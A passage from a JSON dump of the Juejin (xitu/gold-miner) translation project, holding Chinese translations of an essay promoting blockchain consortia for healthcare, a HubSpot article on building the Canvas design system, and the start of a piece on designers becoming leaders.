17.8%\n\n高花费导致保险公司不愿意为民众提供保险和足够的服务。\n\n很多国家的医疗保健系统效率非常低下，它们无法为社会中最脆弱、风险最高的成员提供任何形式的照顾。有的甚至已经无法为那些有钱支付保险的人提供足够的照顾。\n\n随着人口结构的转变，这些低效的情况将会恶化。现在需要国家对医疗健康系统进行重塑\n\n**区块链技术是发展中国家和“重新发展”国家实现医疗保健目标的关键性工具。**\n\n![](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2018/02/15184953694.jpeg)\n\n政府和医疗产业希望实现的基础目标之一是以更低的医疗保健花费来供应更高质量的健康保健。[[12](https://www.healthit.gov/sites/default/files/ptp13-700hhs_white.pdf)] 将这个目标转化为现实，需要政府和医疗产业扮演一个不同的、但是同等重要的角色。\n\n**政府**：必须通过监管改革来引导变革，这种变革将会整合科技进步，并在保险公司、医疗供应者和监管机构之中培养围绕竞争性协作和创新的环境。同样迫切需要的还有，政府参加科技革新规划和 R&D 来支持一个健全的健康数据基础建设发展。\n\n同样迫切需要的还有，政府参加科技革新规划和 R&D 来支持一个健全的健康数据基础建设发展。\n\n**医疗产业**：最重要的是，把对医疗健康的心理定位从一个以个人护理为中心的系统转变为一个注重所有个体的总体健康的系统。[[13](https://www.healthit.gov/sites/default/files/2014-JASON-data-for-individual-health.pdf)]\n\n医疗行业需要吸收新的重定义了价值主张的技术，并与提供有价值但非对称信息的其他行业参与者合作。医疗行业也必须通过开发那些可以触及缺医少药和高风险人口群体的创新的商业模式，来寻找新的方法在当前客户之外获取新的顾客。\n\n**总的来说**：政府和医疗行业必须随着人口增长和全球化而变得更有效率。通过创新技术降低行政花费，同时扩展服务范围，并增强对国家和医疗行业的可持续性和竞争力都至关重要的成果。那些能够接受技术设备竞争，创造更大的内部能力和效率的人将获得增长的奖励。\n\n## 医疗行业是一个高额赌注游戏\n\n医疗保健系统的低效率会渗透到社会和经济的所有其他部分。以更低的成本实现医疗保健质量的改善将成为发达国家和发展中国家未来取得成功的关键。\n\n克服这些数量众多的困难将需要一个新的方法，这个方法着重于技术和网络联盟的融合。\n\n区块链技术是可以让政府和产业两者都作出根本改变，从而修缮国家医疗保健系统并达成目标的关键技术。\n\n**区块链技术是一个弹性数字基础架构，能够让政府变得更加高效。**\n\n![。](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2018/02/15184953805.jpeg)\n\n科技正在带动全球经济飞速变化。国家政府清醒的意识到，在新数字经济时代，创新和广泛的监管改革是国家成功的基础。\n\n随着世界更加城市化，超级城市作为创新的中心，是带动经济的发展的主要力量。[[13](https://www2.deloitte.com/content/dam/Deloitte/tr/Documents/public-sector/deloitte-nl-ps-smart-cities-report.pdf)] 城市化和人口增长带来的挑战意味着这些城市必须在方方面面更加智能，包括医疗健康，否则就可能会失去核心的经济利益。\n\n[区块链（Blockchain）](http://blockchain.us-east-2.elasticbeanstalk.com/2017/08/25/how-does-the-blockchain-work-part-1/)是一个联网数据库，它能助力支持智能城市革新，并带动经济增长。它让创建电子基础设施成为可能，而这是发生大转型和国家重要产业增长所必需的。\n\n城市、直辖市和政府正转向区块链技术来为将来的挑战做好准备。从美国特拉华到新加坡，爱沙尼亚，俄罗斯，瑞典，英国，韩国等很多地区，都正在寻求基于区块链的解决方案来为现在和将来的政府提供一个更好的电子基础设施。[[14](https://extranewsfeed.com/the-blockchain-is-perfect-for-government-services-heres-a-blueprint-628d4c73edb7#.q677wz3yv)]\n\nWilliam Mougayar 罗列出了四个主要的、政府可以应用区块链技术的领域，它们包括 [[15](https://extranewsfeed.com/the-blockchain-is-perfect-for-government-services-heres-a-blueprint-628d4c73edb7#.5l3jgzr48)]：\n\n*   证明\n*   财产变动\n*   所有权\n*   身份\n\n对牌照、许可证、交易和身份精确高效的信息认证能解决很多政府运作的问题。当处理敏感信息时，数据的沿袭和完整性是大众关注的问题。\n\n验证没有被篡改的数据的能力，确定信息来源并从源头开始追踪监管链带来的益处是不言而喻的。[[16](http://mcdonnell.mit.edu/blockchain_ehr.pdf)] 可以想象这对于医疗保健数据和信息共享的益处。\n\n政府和智能城市能够给居民发行电子身份，从而允许居民无障碍的使用各种各样的国家服务和市政服务。[[17](https://extranewsfeed.com/the-blockchain-is-perfect-for-government-services-heres-a-blueprint-628d4c73edb7#.q677wz3yv)] 电子 ID 就像是扮演了所有交易的电子水印，它将帮助政府实时验证身份，大量减少了欺诈等其他犯罪活动的比率。数据完整性等级的提升也将会在透明度和信任方面重新定义居民和政府的关系。\n\n另一个区块链可以带来巨大利益的领域是财产转移。区块链可以通过提供服务实现政府和居民之间的交易或财产直接、自动的转移。\n\n这将削减过多的中介成本，极大的提高政府在医疗保健和众多其他领域的效率。\n\n全体政府部门将会被基于区块链的注册管理机构所取代，这将节省数以万计的纳税人资金。因为由区块链支持的新注册管理机构可安全记录数据，交易和追踪出处，政府办公将会变得更加高效。\n\n> 事实上，关于“智能城市”，仅有一种方式能够让城市变得真正“智能”：通过数据和分析。 - **[David Barton](https://channels.theinnovationenterprise.com/articles/158-7-uses-for-analytics-in-smart-cities)**\n\n区块链科技带来的最深刻的益处，其实是政府能够安全地利用重要的主权数据。对于政府而言，这为精简业务提供了重要的机会。进行匿名数据的实时分析可以发现健康、交易、安全、城市规划、犯罪、未来规划和许多其他重要问题的趋势。\n\n掌握了有价值的数据洞察力，政府就能够有效利用区域内资源对社会作出最大的有利影响。这个新的能力将会是政府和他们的公民的“游戏”规则改变者。\n\n**区块链技术是帮助产业重新定义机构，产品和服务的最有力基础。**\n\n因为我们现在进入了一个全新的全球数字化经济时代，尽早认识到事业成功的驱动力是作出改变很重要。联盟和网络联盟是新的竞争优势。\n\n公司和产业必须连接，合作，建立网络连接来帮助他们变得更加高效和敏捷。那些选择孤立自我的（公司和产业）则会发现原本就已经很多变、竞争激烈的全球经济变得更加的不友好。\n\n> 新兴的商业模式建立在社区的概念之上：那些将供应商，基础设施提供者，以及 - 也许是最重要的 - 他们的客户都包容在一个他们可以共同创造价值的网络里的人，将会取得成功。允许交易，共享和强化知识并创造共赢价值的网络是必需的。 – **[Governance in the Digital Economy](http://www.imf.org/external/pubs/ft/fandd/1999/12/pdf/tapscott.pdf)**\n\n区块链数据库应用包括三个类别。公共区块链是一个全世界任何人都可以看到、增加信息或者达成共识的去中心化的平台。[[20](https://blog.ethereum.org/2015/08/07/on-public-and-private-blockchains/)] 另一方面，一个私有区块链，则集中在一个机构内部，仅允许数据库的所有者查看并改写区块链上的信息。[[21](https://letstalkpayments.com/public-and-private-blockchain-concepts-and-examples/)]\n\n对于医疗保健行业来说，最大的结果可能是联盟区块链，它与私人和公共区块链有所不同，它们是部分去中心化的。就如同 Vitalik Buterin 所解释的：\n\n> 一个联盟区块链达成共识的过程是由预先选择的一组节点控制的；例如，想象一个由 15 家金融机构组成的财团，每个机构都作为一个节点，那么其中的 10 个必须签署每个区块来保证该区块的有效性。 – **[Vitalik Buterin](https://blog.ethereum.org/2015/08/07/on-public-and-private-blockchains/)**\n\n他继续说道：\n\n> 一般来说，目前在区分联盟区块链和私有区块链上的关注很少，尽管这其实很重要：前一个提供了公共区块链的“信任度低”和私有区块链的“单一高度信任度实体”模型的混合体，而后一个则应该被更准确的描述为一个传统的中心化系统，附加一定程度的密码可审计性。\n\n因为多个原因，基于区块链的联盟对医疗保健产业的存活和成功至关重要。现在市场压力比以往更加激烈。\n\n全球竞争，对高速研发新的产品和服务的需求，对满足新的监管需求的关注，减少企业研发预算和其他全行业问题，意味着公司承受着持续的压力。\n\n联盟区块链是有着共同目标的业内人士合作并创造独特的产品和服务最高效的方式。\n\n区块链联盟能以更高效和安全的方式提供所有旧联盟所做的一切。知识产权和其他敏感数据集能够得到高级别的完整性，信息共享也高效且安全。\n\n共享产业信息的基础设施建设现在已经成为可能，在这里，公司可以在不会危害到隐私和安全的前提下，获取并分享知识，发展新技术。区块链联盟能够作为医疗保健产品、服务和交付的中坚力量。\n\n## 联盟已经在形成\n\n医疗行业已经见证了一些伟大联盟的成就。在 2016 年初，Gem 和 Phillips 区块链实验室发起了 Gem 医疗保健网络。由以太坊区块链驱动的 Gem 网络致力于为医疗保健行业开发应用并共享基础设施。[[24](https://bitcoinmagazine.com/articles/the-blockchain-for-heathcare-gem-launches-gem-health-network-with-philips-blockchain-lab-1461674938)]\n\nPhillips 区块链实验室，Phillips 的研发部门是首个加入网络的医疗健康运作团队。网络计划建立一个行业内的包容性生态系统，来鉴别并解决医疗保健的问题。\n\n**这是迈向正确方向的一步。**\n\n联合需要在组织的壁垒之外工作，并贯穿整个行业来找到能够为每个参与者提供最大交互利益的合作方式。未来的医疗保健行业不能被孤立和狭隘所担保，相反，成功将会属于那些互联的，开放的以及灵活的。\n\n**高效的政府，重新联合的产业，新的产品和服务范例在一个不停变化的动态世界中创造了可持续性。**\n\n这一切都是高起点的。政府必须提高水准。数字经济的创新和深度监管改革将会是成功的基础。\n\n目前制约性的和过时的政府规则是医疗保健改革的唯一的最大的阻碍。政府必须将国家医疗保健系统从他们建造的监管的监牢里释放出来，才能释放出真正的创新。\n\n**当然，产业也必须参加这场盛宴。**\n\n健康管理和行政管理系统现在充斥着效率低下，奖励不对称等现象，并且未被创新所触及。\n\n产业必须跟随政府监管的变化，应用允许合作和交互新技术。他们必须重塑所供应的产品和服务，以满足新的客户期望。[[25](https://hbr.org/2016/03/the-4-things-it-takes-to-succeed-in-the-digital-economy)]\n\n对于产业来说，通过发展创新商业模式来寻找新的方法以扩充客户群同样重要，客户将被扩充到缺乏服务和高风险的人群。政府和产业必须合作，引导和利用使数据访问、互操作性、集成性和可伸缩性达到空前水平的技术。[[26](https://www.healthit.gov/sites/default/files/2014-JASON-data-for-individual-health.pdf)]\n\n**这里没有宏大妄想。**\n\n医疗保健的改革将会充满挑战和挫折。肯定会有错误，转回到旧系统和流程的诱惑将很难克服。\n\n但目前的轨道是根本不可持续的。\n\n必须要做些什么。科技和全球化，以及当前全球人口变化需要创新和深度变化。\n\n面对人口增长、全球化以及医疗保健系统增加的需求，国家必须找到能更高效的方法，区块链技术是达成国家医疗保健核心目标的关键工具。\n\n当合作、联盟和联网联合成为新的竞争优势时，这项技术是一个能够高效的帮助产业一次性重塑机构、产品和服务的基础。\n\n国家和产业必须开始将区块链技术为基础加以运用，来探索不同技术工具的融合，并定位可以带来巨大商业机遇的消费者的核心需求和社会问题。\n\n接受区块链的国家和产业都将获得有弹性的、不脆弱的数字基础设施作为回报，它将为所有人培育高效的业内生态系统、更好的产品和服务、更低的规模成本，以及改善的可持续的成果。\n\n尽管过程可能会很复杂，我们不能把它当成无作为的借口。唯一的阻止我们走向并触及那些未开发潜力的未来的只有恐惧，困惑和怀疑。\n\n在区块链技术中，我们现在有了能够帮助我们解决很多重大挑战的工具。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-building-a-design-system-empowers-your-team-to-focus-on-people-not-pixels.md",
    "content": "> * 原文地址：[How building a design system empowers your team to focus on people — not pixels.](https://medium.com/hubspot-product/people-over-pixels-b962c359a14d)\n> * 原文作者：[Mariah Muscato](https://medium.com/@mariahmuscato?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-building-a-design-system-empowers-your-team-to-focus-on-people-not-pixels.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-building-a-design-system-empowers-your-team-to-focus-on-people-not-pixels.md)\n> * 译者：[pmwangyang](https://github.com/pmwangyang)\n> * 校对者：[rydensun](https://github.com/rydensun)\n\n# 如何创建一个设计体系来赋能团队 —— 关注人，而非像素\n\n**这篇文章是有关我们新的设计语言 [_HubSpot Canvas_](https://canvas.hubspot.com/) 的系列文章的第一篇。**\n\n![](https://cdn-images-1.medium.com/max/1000/0*9SsSqQVZoaZo-paO.png)\n\n这有一个[老喜剧小品](http://www.funnyordie.com/videos/f648312caa/taco-mail-from-holyhackjack?short_id=17p9&_cc=__d___&_ccid=jp2h43.nvxip9)，大意是一个邮递员对送信失去了兴趣 —— 他更愿意去送玉米卷。\n\n在这个小品中，一个男子在他的邮箱旁边一直等邮递员的出现，想质问他为什么邮箱里一封信都没有。尽管他也喜欢玉米卷，但是他说：「如果让我在玉米卷和邮件中二选一，我不得不选择邮件。」\n\n玉米卷比邮件里的账单刺激多了，但是这个男子**不需要**玉米卷，他**需要**的是他的邮件。\n\nHubSpot 的顾客**需要**一个始终如一、功能强大、令人愉快的产品。所以 HubSpot 设计团队需要创造一个设计体系，来帮助我们持续地满足这些需求。\n\n在过去的几年里，我们已经：\n\n* 创造了一个新的设计语言（我们叫它「HubSpot Canvas」，我们已经在这上做了很多工作）\n* 重新设计了 HubSpot 平台，更新了我们品牌的视觉形象\n* 建立了一个鲜活的设计体系，可以随着我们的商业进展而扩展\n\n为了实现这一切，我们需要进行人才投资。我们将我们的 UX 团队从 14 位产品设计师、2 位研究员和 1 位作家扩展到超过 34 位产品设计师、8 位研究员、3 位作家和 1 位产品插画师（并且仍在[持续招聘](https://www.hubspot.com/jobs/search?&department=product+and+engineering)中）。\n\n![](https://cdn-images-1.medium.com/max/1000/1*yMhbkX8vmnJjUQqrboLs2A.png)\n\n这就是我们如何致力于投递邮件的故事（并且忙里偷闲也捎带点玉米卷）。\n\n* * *\n\n### 我们为什么重新设计\n\n我们需要重新设计 HubSpot 平台，主要有两个原因。首先，更好地履行我们品牌的承诺。我们的客户喜爱 HubSpot 这个品牌，它很有趣、有活力、有个性。但是目前的产品并不是这样，它配不上客户投入到生意中的努力。\n\n其次，消除蔓延到我们 UI 中的不一致性。我们的用户界面在平台上不一致，导致难以使用、难以导航。以 Marketing Hub 中的两个模态页面举例：\n\n![](https://cdn-images-1.medium.com/max/1000/0*tasdLDY9cnLCvYEX.png)\n\n注意到按钮位置、选项卡设计和交互模式中的不一致了吗？这些不一致增加了客户的认知负担，使他们执行像保存或关闭对话这样简单的操作都变得困难，这每天都会拖慢他们的效率。\n\n所以我们决定从收集用户针对当前设计的反馈开始，反馈并不「美丽」，但是却**很**有价值：\n\n> 「看起来比实际需要的复杂多了。」\n\n> 「太多选项，我已经眼花缭乱了。」\n\n> 「有点密集恐惧症，没有留白。」\n\n> 「配色过时，看起来不爽。」\n\n> 「太多灰色，所有的东西好像都被小方框圈起来。」\n\n> 「没劲。」\n\n我们意识到需要对客户彻底地重新定位和奉献 —— 根据他们的个性、怪癖、动机、渴望、甚至（或尤其是）他们的焦虑。最终，我们决定给我们的产品打造全新的设计，像我们的客户每天都用的那些普通应用那样，不仅好看，而且用起来简单。\n\n但随之而来的是残酷的现实：\n\n![](https://cdn-images-1.medium.com/max/1000/0*shYmOHnr870nSDWY.png)\n\n重新设计我们的平台意味着我们必须分裂横跨两大洲的 40 多个产品团队。也意味着我们需要从创造新体验的资源中转移一些设计和工程师资源，以便我们修复现存的资源。并且在上线期间，我们的支持和服务团队还有客户需要不断适应产品的变化。\n\n#### 我们开始这个进程时就知道，我们不仅仅是开始重新设计我们的产品 —— 我们需要完全重新思考我们设计和打造产品的方式。\n\n我们首先需要了解在我们的组织架构和工作流中有什么导致了用户体验的碎片化和低效率，并将它们替换为有效的实例和系统。\n\n所以这个故事的第一部分就是，我们怎样定义这些挑战、我们如何着手重新设计我们的产品，以及我们创造的工具，它可以赋能我们的设计团队，使之能够尽可能保持持续、高效、自主的状态。\n\n* * *\n\n### 问题的根源\n\n去年，我的父母决定卖掉我儿时的房子，我被他们弄去帮助清理阁楼 —— 一个塞满了积累 20 年杂物的阁楼。你可能会想到，清理期间我吐了无数个槽。比如：**「WTF，我们居然保留着这玩意？太棒了！」**但更多的是：**「WTF，为什么我们还留着 87 年的豆豆娃？（译者注：一种毛绒玩具）」**\n\n好吧，以同样的方式，我们的设计团队首先需要审查我们过去十年在 HubSpot 畅想过、开发过、交付过的每个组件。我们需要降低到细致的程度来更好地理解目前产品的体验如何。每个设计师都被要求仔细检查他们各自的 App，找到每个组件、截图、命名并存档，以便评审。\n\n做个小测试：你认为多少个日期选择器（date picker）算「太多」？\n\n三个还是四个？\n\n呃，我们现在有八个。\n\n这是在我们的「阁楼」里发现的其他东西：\n\n* 100 多个灰色阴影\n* 3 个不同字体对应着 40 多个文本样式\n* 16 个不同样式的模态页面\n* 6 种不同的主级别按钮（这意味着根本**没有**主级别按钮）\n* 5 种表格过滤方式\n* 确认操作在左侧的模态页面\n* 确认操作在右侧的模态页面\n* 成千上万行自定义 CSS\n\n这是同时存在于 HubSpot 平台的所有按钮样式：\n\n![](https://cdn-images-1.medium.com/max/800/0*Rh1VruiQzhTjgbhC.png)\n\n这里有你的按钮样式吗？\n\n是什么导致了这种情况？我们怎么有这么多按钮？我们怎么有这么多的日期选择器？\n\n这是那段古老、黑暗的日子里，Slack 上的真实对话：\n\n![](https://cdn-images-1.medium.com/max/800/1*Y0e2gqKh0shBq7uS3Hs-kw.png)\n\n让 SaaS 来阻止这些无意义的讨论吧。\n\n真实的情况是，没有一个 HubSpot 的设计师或开发者真的想去花时间来重做日期选择器。\n\n我们意识到，我们的团队创造了这么多看起来多样化但本质相同的样式和组件的原因，是我们的组织架构出了明显的问题。简而言之，构造新东西看起来更简单，正在起作用的东西却很难被发觉。\n\nHubSpot 的产品团队由围绕解决客户特定需求的小规模、自治团队构建而成，这让我们作为一个产品开发组织可以迅速发展，并且可以对客户变动的需求迅速做出反应，但这种方式对于保持不同的产品团队的一致提出了挑战。\n\n当你们有超过 40 个能够快速构建、发布、迭代的产品团队时，确实很容易出现忽视总体客户体验的情况，紧紧地专注于一个特殊的问题通常意味着戴着「眼罩」看其他所有问题。因为有这些眼罩的存在，我们的设计师和开发者不知不觉地在用户界面上重建已经存在的元素、组件和图案，这导致了用户体验的碎片化和混杂的设计，还有技术债。\n\n我们小型、自治的团队架构不准备改变 —— 因为这是我们基因的一部分。所以很明显，我们需要为创造更好地调整我们的产品团队的工具和系统付出更多的努力。通过把所有人连接到集中的设计体系这种方式，保证在持续发展的同时，有一套统一的用户体验。\n\n#### 这可以让我们的设计师和开发者的心思从「像素」中解放出来，让他们有更多的时间考虑「人」。\n\n### 讲原则\n\n审查可以帮助我们识别设计过程中的问题，并且明确我们发展文化的哪些方面导致了效率低下。但是在创建情绪板前、在研究排版前、在我们激烈的讨论橙色的完美色调之前，我们需要**讲原则**。\n\n我们需要对我们的核心信仰达成共识，这是遇到难以抉择的问题时我们唯一可以依靠的标准，我们需要发现我们的团队认为有责任维护的理想。\n\n所以设计团队进行了一些构思练习来建立我们新设计语言的基础。我们争论，我们排序，然后我们确定了五个核心设计原则，这五个原则指引我们完成了一百万个微观和宏观设计决策。\n\n#### 这些原则是：\n\n![](https://cdn-images-1.medium.com/max/800/1*8ZFXJph76Xf87rXDi1ICNg.png)\n\n**清晰** \n我们的设计原则是清晰和专注，我们的工作帮助用户在功能优先级、可视化层次和上下文识别性方面进行下一步正确的选择。\n\n![](https://cdn-images-1.medium.com/max/800/1*Mx1oVTj3Pe_tfLcnLPELKw.png)\n\n**人性化**\n我们培养一种给体验赋予人性的观念，使得不同文化之间产生共鸣，我们的工作每次都给给用户提供有趣并且优雅的交互。\n\n![](https://cdn-images-1.medium.com/max/800/1*1mQH155WwYQCsFqEcESCHg.png)\n\n**Inbound**\n我们加强了 Inbound 方法的信息和含义，我们的工作使用户的入站路径清晰，帮助他们理解为什么这是正确的。\n\n![](https://cdn-images-1.medium.com/max/800/1*-l2aXvIftJ7K3Xu1yLMEIA.png)\n\n**整合**\n我们通过创建统一的系统解决用户的需求来简化用户的体验，我们的工作通过提供改进的、高效的方法帮助用户达到伟大的目标。\n\n![](https://cdn-images-1.medium.com/max/800/1*pg7By-fiVHS_CVcNvhCA8w.png)\n\n**协作**\n我们设计了强有力的系统鼓励人们一起无缝地工作，我们的工作帮助人们用自然、直观的方式互相创作和协作。\n\n我们在重新设计产品的许多细节时，这些原则帮助我们保持一致和专注。你可以修改按钮颜色、线宽、页眉尺寸，但是你不能改变你的基本信仰，在设计的这些方面，你必须保持坚定。\n\n* * *\n\n### 一个新的视觉角度\n\n我们的设计团队进行了若干个会议来重新设计我们产品中的核心页面，然后选择四个产品设计师作为一组，让他们花一周的时间完全投入到形成概念、设计中，并且最终和客户一起测试几个不同的视觉方向。这些会议产出了一些非常不同的设计方向，让我们感到很新颖，令人兴奋。\n\n这是设计语言团队中的两个成员 Drew Condon 和 Jackie Barcamonte 最初的设计概念，请欣赏：\n\n![](https://cdn-images-1.medium.com/max/800/0*c-I9eExCRkuYV6Rg.png)\n\nHubSpot 以前的设计\n\n![](https://cdn-images-1.medium.com/max/800/0*D6ADdRVEVyFNvCxg.jpg)\n\n![](https://cdn-images-1.medium.com/max/800/1*RICbQgZjc-PMVdxCeUtBYA.png)\n\n![](https://cdn-images-1.medium.com/max/800/0*JHGMI16yfbrSbJdz.png)\n\n是不是耳目一新？与众不同、令人兴奋，和那些呆板、沉闷的「商业软件」明显不一样。\n\n设计语言团队和客户通过多轮的调查和访谈，最终尝试了三种不同的设计方向。当我们看到下面的叙述，我们知道我们找到了成功的方向：\n\n> 「让我感到生产力大增。」\n\n> 「我感到自己很牛，我想我完全知道应该做什么。」\n\n> 「这很有趣，这才是我想要的 HubSpot。」\n\n> 「新一代的网页。」**（有些人真的这么说）**\n\n> 「看起来不像商业软件。」\n\n> 「让我感到掌控一切。」\n\n下面是我们采访的客户最喜欢的设计方向的进化：\n\n![](https://cdn-images-1.medium.com/max/800/0*4JJBg-EC9gjetEG3.png)\n\nHubSpot 以前的设计\n\n![](https://cdn-images-1.medium.com/max/800/0*VNaNbD26_WpUrxIB.png)\n\n第一轮访谈最受欢迎的设计\n\n![](https://cdn-images-1.medium.com/max/800/0*PSHNwIsMTyA5WJ_a.png)\n\n第二轮访谈改进的设计\n\n当我们让用户验证过我们的设计方向后，就是时候把这些视觉样式应用到我们所有的核心 UI 组件上了。我说的是**上百种**组件：按钮、链接、查询框、表格、定位、模态页面、输入框、弹出框（这个列表还很长）。这是重新设计过程中不那么有趣的部分，但却更需要一丝不苟，而且十分耗费精力。\n\n但是这些一丝不苟、耗费精力的工作对于我们公司和客户来说是一个长期投资。我想起有一个周五下午，设计语言团队和我花了整整两个小时来开会，这使我们十分崩溃。\n\n![](https://cdn-images-1.medium.com/max/1000/0*A5bMyyGst8Mg56gw.png)\n\n我们那天的工作是决定我们大多数独立组件（按钮、控件、输入框等等，都是我们用户界面的基本要素）的外边距和内边距。\n\n那次会议有五个人参加，我们花了差不多15分钟仔细推敲我们所有新按钮的外边距。这意味着 HubSpot 支付五个设计师的工资，让他们坐在一个屋子里辩论像「文字和文本框的距离」这种索然无味的问题。\n\n但是。\n\n自从两年前那次讨论之后，我们没有一个前端工程师、产品设计师、研究员、作者或插画师需要再考虑按钮的外边距了。\n\n#### 这就是创建一个设计体系的美好之处。推敲一个细节一次，你就可以把你全部的产品开发团队解放出来，让他们专注于解决客户的实际问题。\n\n我们把我们所有精美的新组件，包括使用他们的引导，放进了 Sketch（我们的设计工具）中。这让我们团队的生产力立即爆发了出来，并同时（突然地）让我们的设计工作紧密一致了。\n\n* * *\n\n### 团队协作\n\n在这个进程开始前，我们并没有一个集中的地方让设计师知道哪些元素或组件已经存在，也没有让他们在自己的设计中使用这些现成的元素或组件的方法。设计师和开发者尽他们最大的努力决定使用哪个组件或图案，但是他们的主要参考点是那些已存在的产品 —— 那些明显不一致的产品。\n\n为了解决矛盾（当我们加速我们的工作流的时候），我们为我们的新设计语言建立了一个健壮的样式和组件库。这个 30 页的 Sketch 文件被以「组件族」的形式组织起来，它存储了组成我们产品用户界面的每一个独立元素或组件。这个组件库每周更新，并且被一个小规模轮值设计师工作组和专门的前端开发者团队管理。\n\n需要一个图标？过来拿。\n\n![](https://cdn-images-1.medium.com/max/1000/1*YEXjbh_z3Q_kCpTRFugtOg.png)\n\n图标由 [Joshua Mulvey](https://dribbble.com/joshua_mulvey)、[Sue Yee](https://dribbble.com/suechews) 和 Chelsea Bathurst 设计。\n\n需要数据可视化？给你。\n\n![](https://cdn-images-1.medium.com/max/1000/0*pFLV3FlTdL74O0wY.png)\n\n数据可视化由 Drew Condon 设计。\n\n需要一个按钮？如你所愿。\n\n![](https://cdn-images-1.medium.com/max/1000/0*-GqDKYlgn7I1k8N7.png)\n\n我们现在有一种主级别按钮了，是橙色的，我们喜欢橙色。\n\n还需要其他任何东西吗？HubSpot Canvas 有一切你想要的。\n\n![](https://cdn-images-1.medium.com/max/1000/0*V42eVXCKQy2waw_s.png)\n\n每个 Sketch 包中存在的组件，同样在 React 中有一个组件对应，方便你将任何模型转化为代码，就像组装乐高玩具那样。\n\n这表示着我们的设计师不需要花时间调整像素、撰写说明书或者担心有关他们设计的响应性。也意味着我们的开发者们不需要花时间把自定义 CSS 调来调去（实际上他们几乎完全不用写了）。\n\n#### 这意味着我们的开发者可以有更多的时间构建，也意味着我们的设计师可以用更多的时间研究、设想和迭代，不仅仅快，而且高保真。\n\n这是 HubSpot 设计师一般情况下的工作流的概览，使用了 Sketch 库和 Runner、Craft（由 Invision 开发）插件。\n\n* YouTube 视频链接：https://youtu.be/d4RuKwOwqnM\n\n为了适应 HubSpot 的发展，我们的组件库也在持续更新。它主要由一个由设计师和开发者组成的核心团队维护，但产品团队的每个人贡献着自己的力量，并帮助改进。任何时候，一个新的组件被创建或修改，它都会被存储进 Sketch 库并对所有人开放，这极大地减少了「野组件」和重复组件的数量。\n\n* * *\n\n### 扩充设计体系\n\n我们的 Sketch 包也只是更大的设计体系中的一小部分，为了让它在长时间内真正发挥作用，我们需要创建一些对于开发者来说切实有效的工具。我们认识到，创造始终如一、功能强大、令人愉快的产品体验的最好方式，是让创造这种体验的人们更简单方便地工作。\n\n阅读[下一篇](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-gain-widespread-adoption-of-your-design-system.md)来了解文档如何培养设计和开发之间的共同所有权、我们如何广泛使用我们的设计体系，以及我们为开发者创建了哪些工具。 \n\n#### 最后：\n\n人比像素更重要，\n就像邮件玉米卷。\n玉米卷儿虽好吃，\n邮件才是最痛点。\n\n**感谢：**\n插画：[Sue Yee](https://dribbble.com/suechews)\n\n**参考文献：**\n[Atomic Design](http://atomicdesign.bradfrost.com/)，Brad Frost 著；\n[Designing The Perfect Date And Time Picker](https://www.smashingmagazine.com/2017/07/designing-perfect-date-time-picker/)，Vitaly Friedman 著；\n[Finding the Right Color Palettes for Data Visualizations](https://blog.graphiq.com/finding-the-right-color-palettes-for-data-visualizations-fcd4e707a283)，Samantha Zhang 著；\n\n**初次发表于** [_HubSpot_ 博客](https://product.hubspot.com/blog/how-building-a-design-system-empowers-your-team-to-focus-on-people-not-pixels)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-can-a-designer-become-a-leader.md",
    "content": "> * 原文地址：[How can a Designer become a Leader?](https://uxdesign.cc/how-can-a-designer-become-a-leader-90860a8a9bb)\n> * 原文作者：[José Torre](https://medium.com/@zecarlostorre)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-can-a-designer-become-a-leader.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-can-a-designer-become-a-leader.md)\n> * 译者：[TiaossuP](https://github.com/TiaossuP)\n> * 校对者：[portandbridge](https://github.com/portandbridge)，[MarchYuanx](https://github.com/MarchYuanx)\n\n# 设计师如何成长为 Leader？\n\n> 领导设计团队的 7 点建议。\n\n![](https://cdn-images-1.medium.com/max/4096/1*rXe1SUGU4Mq3CrR15Q_gfQ.png)\n\n**免责声明！** 本篇文章只是基于我的个人经验，特别是那些给我带来好成绩的事情来完成的。我不是说我很了解该如何当好 Leader，对此我还有很长的路要走，但不管怎么说，我认为现在，分享我的学习经历是一个很有趣的事情。\n\n---\n\n## 转变…\n\n让我们首先从一些背景讲起…当我的经理问我是否想要领导一个团队时，我几乎脱口而出：No，关于要不要扛起这个责任的事情，当时的我有点犹豫不决 —— 